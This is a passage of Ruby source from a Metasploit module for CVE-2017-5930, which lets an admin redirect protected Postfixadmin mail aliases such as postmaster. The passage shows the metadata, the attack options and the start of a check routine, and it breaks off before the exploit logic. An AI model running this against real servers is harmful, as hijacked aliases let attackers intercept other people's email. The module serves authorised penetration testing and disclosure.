## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability', 'Description' => %q{ Postfixadmin installations between 2.91 and 3.0.1 do not check if an admin is allowed to delete protected aliases. This vulnerability can be used to redirect protected aliases to an other mail address. Eg. rewrite the postmaster@domain alias }, 'Author' => [ 'Jan-Frederik Rieckers' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-5930'], ['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'], ['BID', '96142'], ], 'Privileged' => true, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'DisclosureDate' => '2017-02-03' ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']), OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']), OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']), OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']), OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias']) ] ) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def target_alias datastore['TARGET_ALIAS'] end def new_goto datastore['NEW_GOTO'] end def check res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' }) return Exploit::CheckCode::Unknown unless res return Exploit::CheckCode::Safe if res.code != 200 if res.body =~ /